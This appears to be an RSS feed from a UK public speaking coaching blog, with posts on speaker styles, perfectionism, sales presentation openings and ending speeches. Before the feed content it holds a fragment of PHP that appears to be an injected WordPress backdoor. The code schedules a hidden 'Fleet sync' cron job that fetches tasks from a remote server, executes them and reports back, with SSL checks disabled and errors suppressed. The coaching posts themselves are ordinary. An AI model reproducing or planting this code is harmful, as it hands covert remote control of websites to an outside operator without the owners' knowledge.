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update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); Engagement Archives - Now you're talking https://www.nowyouretalking.co.uk/tag/engagement/ Public speaking Sun, 20 Aug 2023 11:50:57 +0000 en-GB hourly 1 https://wordpress.org/?v=7.1 What’s your speaker style? https://www.nowyouretalking.co.uk/2023/08/20/whats-your-speaker-style/ Sun, 20 Aug 2023 11:41:56 +0000 https://www.nowyouretalking.co.uk/?p=1526 ‘Always be a first-rate version of yourself, instead of a second-rate version of somebody else’ Judy Garland Our speaker style impacts how we appear in front of an audience, how they perceive us, their ability to connect with us and, ultimately,…

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‘Always be a first-rate version of yourself, instead of a second-rate version of somebody else’

Judy Garland

Our speaker style impacts how we appear in front of an audience, how they perceive us, their ability to connect with us and, ultimately, how they value our talks and presentations. Ideally, our core values and beliefs will remain in place, irrespective of occasion, but specific speaking situations determine the style we choose to adopt, both in terms of the supporting evidence we provide and how we behave during that time.

I tend to think in terms of six styles – Showcaser, Enthuser, Entertainer, PowerPointer, FactGiver and Changemaker.

Lyn Roseaman giving a TEDxTalk at TEDxLewisham

For example, when you’re speaking to a technical audience, they are likely to value more data-driven content, while members of a TED audience will tend to prefer more experiential personal stories and emotive arguments. If you are presenting to your board of directors, a strong air of gravitas and robust arguments will be appropriate, compared with, say, the more entertaining tone of a special occasion speech.

Some styles are more about information and evidence, while others draw more heavily on storytelling and emotional connections. Either way, giving your audience something of value is what should drive your style selection. These styles are not absolute. They are fluid, so you can easily introduce storytelling and emotive material to a data-driven presentation, and add more facts and figures to an experiential piece.

The following styles are designed to indicate ways of presenting that might be appropriate in different speaking situations, with suggestions for optimising their effectiveness. They are about adapting what you’re doing and how you’re doing it, not about changing your authentic self.

The Showcaser speaker style

The Showcaser style aims to challenge an audience’s thinking and make an impression by sharing the speaker’s successes and achievements. If the speaker can do it, so can you – and they’re going to show you how.

As presenters, they tend to be professional, charismatic, confident, well-prepared and engaging. This style may be useful in a sales scenario and might well be adopted by motivational speakers.

However, there is a fine line between delivering value for your listeners, and coming across as a staged, perhaps inauthentic, performance, with a feeling that the audience promise may not be all it claims. If you feel a Showcaser style becoming too ‘staged’, try shifting your focus more towards the Changemaker style, developing a more altruistic and philanthropic angle to increase the value you give. Ensure your stories are audience focused and deliver a clear and relevant message.

The Enthuser style

An enthusiastic and passionate speaker style with so much to share.

Enthusiastic, effusive, authentically and emotionally open to sharing their experiences, this style can be highly desirable in entertaining contexts, such as celebrations, including weddings, civil partnerships, anniversaries, toasts and tributes.

While this style often belies a laudable intention, coming from a desire to share, the enthusiasm can hijack the content of the speech, overlooking a clear message and easy-to-follow structure. This can come across as out of control, as if everything you know on the topic or person is pouring or gushing out of you at high speed.

Effusiveness can be a result of inexperience and/or a lack of audience focus. It’s crucial to be clear on the message for your listeners and to focus on stripping back the amount of content.

The Entertainer

An easy-going and relaxed speaking style, with a sense of fun and humour.

Confident, likeable, authentic and engaging, with strong storytelling skills make it ideal for after-dinner speeches, toasts, tributes, special occasions and celebrations. The ability to bring humour and entertain make a little of this style a useful addition to almost any speaking situation, including a eulogy.

Humour is an integral part of this speaking style, one that is natural and gentle emanating from your personal sense of humour rather than engineered for laughs. Your Entertainer style will probably contain a message, but it should be implicit in the stories and structure, rather than through an explicit call to action.

The PowerPointer style

The PowerPointer style leans heavily on slides as the key to sharing valuable information.

PowerPointer speaker style

Organised, informative, prepared and thorough, this style suits technical or specialist presentations and lectures designed primarily to inform and educate.

Unfortunately, this style often yields slides that are overly detailed and contain unfiltered information at the expense of a clear message. One sign is a reflex reaction to start producing slides almost as soon as you’re invited to speak. Too much detail can leave an audience feeling spoken at, rather than guided meaningfully through the information.

Speakers who depend on their slides as a crutch often feel a need for control, compared with those who introduce a few slides, videos or even props to enrich their message. If you give a lot of talks in this style, check the clarity of your message and associated content and reflect on whether fewer slides/less detail would bring greater value to your listeners.

The FactGiver speaker style

The FactGiver style has data at its core – a fount of all knowledge to inform almost any issue or situation. FactGivers are keen to share reliable and useful evidence, which they assemble conscientiously to offer what they think will be of value to their audience.

Speakers adopting this style seek to be genuinely informative, believing in the value of data and facts, which they share with commitment and enthusiasm, especially useful in company presentations, including project updates, results, board reports and other meetings where there is a need for gravitas and confidence.

The FactGiver style can give the impression that you and your data are one and the same, so that your data become your voice. This style usually sees an absence of (personal) storytelling and other means of emotional appeal and engagement.

As such, using this style, you are less likely to influence how an audience thinks, feels or acts as a result of hearing your speech. This can leave them feeling unsatisfied and hungry for something that goes a little deeper in terms of touching their emotions.

The Changemaker

The Changemaker speaker style focuses on understanding the audience, bringing people together and delivering value and/or change.

Presenters adopting this style tend to be confident, authentic, trustworthy, engaging, memorable, persuasive, inspirational and accomplished storytellers.

Lyn Roseaman giving a TEDxTalk at TEDxLewisham 2023

This style is effective in any situation where you need to persuade or inspire an audience. It’s often adopted in the political arena, motivational speaking, keynotes, job interviews, fundraising, sales and pitches.

It’s important to ensure your stories are firmly anchored to illustrating your message, rather than replacing it. If you find yourself linking a number of stories together without a clear message, your speech will probably be entertaining, but will leave your audience wondering what you want them to take away.

Speaking styles are fluid in terms of how much of each style you bring to your talk or presentation to best meet your audience’s needs. They are also necessarily fluid insofar as the fast pace of change can render the effectiveness of a particular style quite ephemeral. For instance, it wasn’t so long ago that storytelling was for children at bedtime; now it’s an essential part of so much speaking. Whether technology, knowledge of how we connect or the nature of desirable content, speakers need to stay current with what works best for their audiences.

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]]> Perfectionism – the curse of speakers https://www.nowyouretalking.co.uk/2019/03/18/perfectionism-the-curse-of-speakers/ Mon, 18 Mar 2019 11:49:56 +0000 https://www.nowyouretalking.co.uk/?p=849 Perfectionism is the curse of speakers and presenters and a challenge for managers. Worse, it’s on the rise. What kind of perfectionism plagues you? What kind of perfectionism gets in your way? Excellence-seeking perfectionism that makes you fixate on, and…

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]]> Perfectionism is the curse of speakers and presenters and a challenge for managers. Worse, it’s on the rise.

What kind of perfectionism plagues you?

What kind of perfectionism gets in your way? Excellence-seeking perfectionism that makes you fixate on, and demand, excessively high standards of yourself and others? Or failure-avoiding perfectionism that drives fear of losing people’s respect if you achieve anything less than perfection?

Perfectionism - Chimp and Human

The Silent Guides by Prof Steve Peters

According to Prof Steve Peters’ The Silent Guides, the Human (rational thinking part of the brain) sees perfectionism as ‘doing the best I can’. The Human aims for perfection, but accepts that we don’t often get perfection and can be proud of having tried our best.

In contrast, the Chimp (part of the brain that makes snap judgments based on emotions and gut instinct) demands that we achieve perfection and drives the sense of failure if we deliver anything less.

Connection not perfection

As speakers and presenters, perfectionism gets in the way. Seeking excellence can leave us fixating on, for instance, getting our words right or memorising our speech, while missing the opportunity to connect with our audience.

Failure avoidance can find us paralysed with fear of making a mistake. Again, at the cost of connection.

Any speaker ‘shortcomings’ should always take a back seat to connecting with, and moving, our audience so that we impact how they think, feel and act after experiencing our speech.

Perfectionism - Chimp and Human

The Silent Guides by Prof Steve Peters

To allow the possibility of connection overriding perfection, we need both our Chimp and our Human. Together, they can work to motivate us to do our best (Chimp) and subsequently accept that trying our best is good enough (Human).

 

 

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]]> Pizzazzing your sales presentation https://www.nowyouretalking.co.uk/2018/01/15/pizzazzing-your-sales-presentation/ Mon, 15 Jan 2018 18:52:27 +0000 https://www.nowyouretalking.co.uk/?p=319 When you give a lot of sales presentations there is always a danger of getting a bit stale. So it’s important to start your presentation with energy and pizzazz. Even if you are feeling uninspired, remember there are always options…

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]]> When you give a lot of sales presentations there is always a danger of getting a bit stale. So it’s important to start your presentation with energy and pizzazz. Even if you are feeling uninspired, remember there are always options for being more creative and having an immediate, positive impact on your audience. Starting well, being engaging and energetic makes it so much easier to keep momentum throughout your presentation.

Here are some tips on getting that early engagement and energy.

  1. Work your opening words

Lightbulb moment

Spend time working on the opening of your presentation. Practise in front of the mirror, in front of your family pet if necessary. Make sure you have a few strong sentences that will flow and get your ideas across clearly. While you are practising check that you look good too. Upright posture not only helps you exude energy it will give your clients confidence in you and encourage them to listen intently.

  1. Use anecdotes

Good presenters are adept at telling appropriate stories. They can be very brief and if told well they add colour and interest. We all have a stockpile of stories. Find one that will fit your client, perhaps a story that relates to something in the news that is relevant to their company or industry. By starting with a story you’ll set yourself apart from less accomplished presenters and energise your audience.

  1. Use active language

From the start of your presentation use active language. Avoid the passive voice. If you say “it is said that there is always a solution to a problem”, you leave everyone unsure about who will be taking responsibility for finding a solution. If you say “Today we will find a solution to this problem…” it is clear where responsibility lies and your audience will take notice.

  1. Come up with an anchor phrase

Motivational speakers often have an anchor phrase, words that everyone associates with them. You may not be standing up in front of 10,000 people in the Excel Centre but your job is still to motivate. So why not borrow a technique? “We’ll find a way”. “Yes we can!” “Paul for paper!” You can punctuate your presentation with your catch phrase right from the beginning. Doing so adds emphasis, fun, and makes you memorable. Who doesn’t need some fun or light relief in a business presentation?

  1. Quote an expert

If a catch phrase isn’t for you why not start with a high impact quote from an industry expert?  Someone respected by your audience. If the quote is recent so much the better. If it’s from a recent article or event you’ve attended you show you have your finger on the pulse. You also benefit from the credibility of the person you are quoting.

Quite often the main body of a sales presentation will contain information that we have to repeat for every client. Starting with pizzazz gives you a way to personalise your presentation and tailor it for your specific audience.

Starting with pizzazz helps you give a quality, professional presentation which builds momentum. And most importantly means you’ll seal the deal!

First published in Sales Initiative

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]]> Happy endings – how to end your speech with impact https://www.nowyouretalking.co.uk/2017/11/24/happy-endings-how-to-end-your-speech-with-impact/ Fri, 24 Nov 2017 17:13:17 +0000 https://www.nowyouretalking.co.uk/?p=314 Once upon a time, there was a great speaker called Facunda who set her audience alight with riveting openings and challenging questions. She skilfully elaborated ideas with supporting evidence and stories. Audiences hung on her every word. And then it…

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Once upon a time, there was a great speaker called Facunda who set her audience alight with riveting openings and challenging questions.

She skilfully elaborated ideas with supporting evidence and stories. Audiences hung on her every word.

And then it came to the conclusion, the ‘thank-you-for-listening, my-time-seems-to-be-up’ damp squib. Such a disappointing close and such a missed opportunity.

Call to action

Conclusions are the speaker’s opportunity to craft what they want their audience to remember tomorrow and take action on. It is the speaker’s opportunity to reaffirm their authority as someone with a message to share and one that is worth hearing. It is for this reason that many speakers believe the ending is the most important part of a speech.

Well-crafted final words will stick in people’s minds. This is partly the psychological recency effect and partly the result of a well-structured speech that ends with a fitting conclusion. For this reason it’s best to avoid wishy-washy endings:

  • Apologising for not covering everything you hoped to cover
  • Saying “Thank you for listening”
  • Empty pleasantry such as “It was a pleasure to be here”
  • Closing with the answer to a random question from the audience.

At the end of a speech, the conclusion enables you to summarise your key message and deliver a call to action. So, how can you end with a bang, not a Facunda-style whimper? How can you create happy endings?

Your conclusion should signal the end, but it is not just a final sentence. As a general rule of thumb, it should be about 10-15% of your speech. As soon as you start to summarise/review your main ideas, the audience understands that the speech is coming to an end. This removes the need for words like ‘in conclusion’ or ‘finally’. If you feel using this kind of signal to your audience is helpful, make sure you mean it; don’t ramble on or add new points.

There are a host of ways to end your presentation with a bang. They all strive to help you achieve impact, memorability, engagement and commitment.

Creating impact

As speakers, you want to influence your audiences. You are seeking to inform, persuade or inspire. You are trying to influence their knowledge, behaviour, attitudes, opinions and even beliefs. You need to crystallise your message and activate your audience. To create this level of impact, there are many techniques at your disposal that help produce compelling and impactful conclusions.

For example:

  • Reinforce your overall purpose

Make sure the purpose of your speech is reinforced and crystal clear in the ending. Think of this in terms of both content and style of delivery. If you say something inspiring your body language must mirror this – no awkward slouching but strong upright posture

  • Use delivery to emphasise importance

Be clear in articulating your key message. Harness your vocal variety, tone of voice, passion and enthusiasm – SAMENESS is the biggest enemy of the speaker; change energy, pace, etc. Difference indicates importance

  • Summarise using key questions

You might summarise in the tried-and-tested form of “Tell ‘em what you’re going to tell ‘em. Tell ‘em. Tell ‘em what you’ve told ‘em”. Consider using rhetorical questions based on your core premise to set up your summary of your key messages.   The key messages will be the answers to those questions

  • End with a powerful quote

Use a powerful and relevant quotation from an historic figure, business icon, etc. that resonates with your audience

  • A final strong statement

Make your final sentence the takeaway that encapsulates the overall theme, your main message and any call to action. Ensure it is a statement that underlines your authority and belief in your message.

Achieving memorability

As speakers, you want audiences to remember what you say, to share your pearls of wisdom and have a real impact on them:

  • Top speakers use anchor phrases to help them be memorable and repeatable or quotable. For Martin Luther King it was “I have a dream”. It’s a few words your audience will associate with you and your message. When your catchy, rhythmic phrase pops into their mind, the rest of your speech will be reactivated. It can contain the title of your speech or evolve during the speech, but it will help your audience remember your speech tomorrow and beyond. If your concluding remarks do not align with your anchor phrase, then they have no business in your conclusion, nor, indeed, in your speech!
  • Go further and cause conversation through controversy, humour, and/or great stories. Leave them thinking
  • Rhythm and repetition can both help to build memorability and impact, especially with an injection of appropriate humour
  • Bring the speech full circle by using ‘callbacks’ to your opening remarks or stories. By revisiting a story told earlier in your speech, you create memorability and provide the audience with triggers to recall your main message and serve as a powerful aide memoire
  • Use a relevant prop or image during your speech – one that will serve as a trigger. If you use it at the end of your speech your key message will be reinforced and will stick in people’s minds.

Building engagement and commitment

This is key to encouraging your audience to take action, particularly in any persuasive or inspirational speech:

  • When you speak, you lock into the ideas, information and beliefs that your audience members already have in their mind. And the conclusions are the reaffirmation of those thoughts and ideas. What’s in it for the listener and what you want them to do
  • Use personal stories and anecdotes to engage powerfully with your audience, while using a ‘callback’, to create familiarity and a warm connection with your listeners
  • Invite your audience to take up or consider any call to action you make. Tone of voice is crucial. If you want people to do something as a consequence of experiencing your speech, you need to persuade them and invite them in both your closing words and the manner of their delivery. Telling and instructing may break the connection you have created. Reconnect them with your stories and your central theme
  • Alternatively, take the words of an historic figure or other relevant person and invite the audience to do as they have done
  • Is your audience made up of people from the same organisation or do they share a common interest? Referencing a publication or a quotation that resonates with them will create a connection with you and your call to action
  • Show them your call to action as a solution to an issue, problem or challenge. Show them the benefits to them of embracing your call to action. Show them your commitment and enthusiasm.

Typewriter

In conclusion

Once upon a time, there was a great speaker called Facunda who set her audience alight with riveting openings and challenging questions.

She skilfully elaborated ideas with supporting evidence and stories. Audiences hung on her every word.

And when it came to the conclusion, the audience was on its feet, cheering for more, queueing to be a part of the call to action, sharing Facunda’s stories and observations.

What a happy ending!

 

This article appeared in thought-leadership.top-consultant.com

Recently republished in lidradio.com

 

The post Happy endings – how to end your speech with impact appeared first on Now you're talking.

]]> How do I present? Let me count the ways https://www.nowyouretalking.co.uk/2017/10/20/how-do-i-present-let-me-count-the-ways/ Fri, 20 Oct 2017 11:02:22 +0000 https://www.nowyouretalking.co.uk/?p=147 Forgive me for borrowing shamelessly from Elizabeth Barrett Browning, but a quick canter through Twitter reveals any number of ways to improve your public speaking and presentation skills. For example: Answer this 1 question and your audience will love you…

The post How do I present? Let me count the ways appeared first on Now you're talking.

]]> Forgive me for borrowing shamelessly from Elizabeth Barrett Browning, but a quick canter through Twitter reveals any number of ways to improve your public speaking and presentation skills.

Titles with numbers

For example:

Answer this 1 question and your audience will love you
2 things that will get you further than hard work
3 ways to be a better public speaker
4 presentation pitfalls
5 things you need to know for a perfect presentation
6 tips on how to present data in PowerPoint and avoid data overload
7 places to find powerful creative ideas
The 8 worst ways to start a speech
The 9 reasons why delivery is king over content
10 things your audience hates about your presentation
The 11 best presentation hacks you will ever need
And the numbers keep climbing.

What are we supposed to make of this?  Have the lower numbers overlooked something the higher numbers know about? Are the higher numbers exaggerating?

There are so many elements to public speaking and presenting, but the weight you give to each will depend on your point of view or what is important.  If you were to ask me the question – How do I present?  Let me count the ways, I would plump for the 3Cs of engagement.

1.  Clarity

If you are not clear in your own mind about what you want to say, then what hope for your audience?  You need to be clear about your purpose and message.  This will drive your content and how to structure it.

2.  Commitment to your audience

Stand out speakers know that the audience is their focus.  They understand that audience members are thinking ‘What’s In It For Me?’ (WIIFM).  And they ignore this question at their peril.  If your audience cannot find a personal relevance in your speech, their attention will drift.  This is why we say ‘know your audience’.  What do they want to know?  How do they want to receive it?  Show them WIIFM.

3.  Connection

Engaging your audience fully helps to make your speech more memorable and helps you, as the speaker, feel more relaxed.  There are many ways to create connections with your audience.  You need to be authentic, show them the ‘real’ you, be sincere, share personal stories and speak with conviction about things that you genuinely care about that are, simultaneously, of value to your audience.

That’s my contribution to the numbers game – the 3Cs of engagement in your speeches and presentations.

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